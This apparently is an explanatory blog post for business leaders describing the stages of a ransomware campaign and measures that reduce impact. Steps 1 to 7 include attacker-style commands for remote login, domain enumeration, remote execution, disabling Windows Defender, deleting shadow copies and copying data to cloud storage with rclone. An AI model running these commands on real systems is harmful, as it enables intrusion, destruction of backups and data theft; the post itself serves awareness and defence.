• Posted by: Eng. Donya Bino
• January 03, 2026

The Process of Ransomware Attacks Explained

Ransomware is often treated as a sudden technical failure.
In practice, encryption is usually the final move in a longer campaign.
By the time systems are locked, attackers often understand the environment, know where critical data sits, and have already limited recovery options. That is why ransomware incidents feel deliberate rather than chaotic.
Understanding the full process reduces surprise and improves decision-making.

Step 1: Initial access - quietly obtaining credentials
Ransomware groups tend to use the most stable access methods rather than the most technical.
Reason for stable method versus technical ability:
1. Stolen credentials from previous data breaches
2. Phishing for account takeover
3. Remote access services either exposed or poorly secured
4. Access through a vendor or third party
Nothing is breached at this point; rather, an adversary can login similar to that of a normal user.

This is what attackers will test during an active incident: 
# Quietly testing remote access
xfreerdp /u:user /p:password /v:target-ip

The Importance:
1. Logging will record any successful authentication attempts.
2. Malicious Application/Services are not present at this point.

Step 2: Creating a Base of Operations
Attackers work to maintain a low profile after they gain access to a target’s network. Fundamental activities that attackers often engage in at this phase of a cyber-attack include:
1. Create and maintain persistence by adding account(s)
2. Read internal documents
3. Determine which systems respond
The duration of this phase will often last from several days to a few weeks. During this phase, stability is more important than speed.

Step 3: Privilege expansion
Attackers rarely begin with full access.
They look for:
1. Shared or reused passwords
2. Over privileged accounts
3. Weak internal segmentation
4. Cached credentials

Common commands seen during this phase
# Enumerate domain users
net user /domain

# Identify domain controllers
nltest /dclist:company.local

These are ordinary administrative commands.
That is why they are hard to spot.

Step 4: Internal Reconnaissance – Understanding the Environment
To prepare to deploy ransomware, attackers evaluate the environment and identify its components.
Among the aspects of the environment that attackers will identify are:
1. Important Servers & Applications
2. Backup Locations & Schedules
3. Security Tools & Monitoring Inadequacies
4. Business Critical Timelines
This is considered to be preparation for an attack rather than an attack itself.

Step 5: Lateral Movement–Operating Similar to IT
With elevated privileges and access, attackers can move throughout the network using similar techniques as an IT professional would.
Some of the more common methods include:
1. RDP / SMB
2. WMI / Remote Execution
3. Shared Administrative Tools

Example
# Launch a command on another machine
psexec \\fileserver cmd.exe

This type of activity can frequently be hidden in standard IT traffic.

Step 6: Disabling Backups and Other Defenses
This step can determine the outcome of a successful attack and the overall success of the attackers.
When attackers are attempting to disable the backups, they will commonly:
1. Early identification of backup servers
2. Delete all snapshots.
3. Disable all security software.

Examples:
# Disabling a security software program.
Stop-Service -Name "WinDefend"

# Removal of Windows shadow copies.
vssadmin delete shadows /all /quiet

By the time that the encryption process is underway, the options to recover the data may have already been removed.

Step 7: Data Collection & Exfiltration
Almost all ransomware attacks today also involve the gathering of customer data.
The most common type of data that is targeted includes:
1. Financial Data
2. Customer and Employee Information
3. Legal or Executive Messages

Examples of Methods to Gather Data
# Stealthily gather to Cloud Storage.
rclone copy C:\SensitiveData remote:backup --progress

Traffic is encrypted and appears as legitimate.

Step 8: Ransomware deployment
Only after preparation is complete does encryption begin.
Typical characteristics:
1. Coordinated execution across systems
2. Timing chosen to minimize response
3. Clear proof of data access
4. Direct pressure on leadership
At this point, the attacker’s leverage is already established.

Real-world Examples
Example 1: Credential-Only Access
A valid VPN account was used to gain access.
What Happened:
1. Multiple weeks without any alert logs
2. Internal systems were quietly mapped out
3. Ransomware was rushed to be deployed
Impact:
1. An organization completely shut down operations
2. Only limited recovery options were available

Example 2: Backup First Strategy
The attacker located and disabled backups early in the attack.
What Happened:
1. The attacker was able to encrypt all data
2. The attacker was then unable to restore data using available backups
Impact:
1. A significantly longer downtime than if the attacker had not located backups
2. Greater pressure to pay ransom

Example 3: Data-Only Extortion
An organization's system(s) were left untouched at the start of the attack.
What Happened:
1. Sensitive data was exfiltrated
2. The ransom demand referenced specific files
Impact:
Legal exposure/reputational damage were greater than the downtime incurred

Why this matters for leadership
Leaders must realize that Ransomware isn't just a technical event, but rather a way of exploiting access, visibility gaps and lastly pressure to make decisions about their company's future.
The following represent common blind spots of leadership:
1. Overestimated backup plans
2. Believing that attacks will happen on the same day they're attempted
3. Limited understanding of internal routes of accessing files
4. Limited understanding of who specifically has the power to act during a crisis
By understanding this process, leaders can intervene sooner.

What reduces impact
Organizations that recover faster tend to:
1. Limit standing privileged access
2. Monitor internal behavior, not just perimeter alerts
3. Test backup restoration regularly
4. Segment critical systems
5. Prepare executive level response decisions in advance
These measures disrupt the process long before encryption.

What to take away
Ransomware succeeds because it is patient and methodical.
Encryption is not the beginning.
It is the final move.
Leaders who understand the full process are better positioned to reduce leverage, limit damage, and make calmer decisions when it matters most.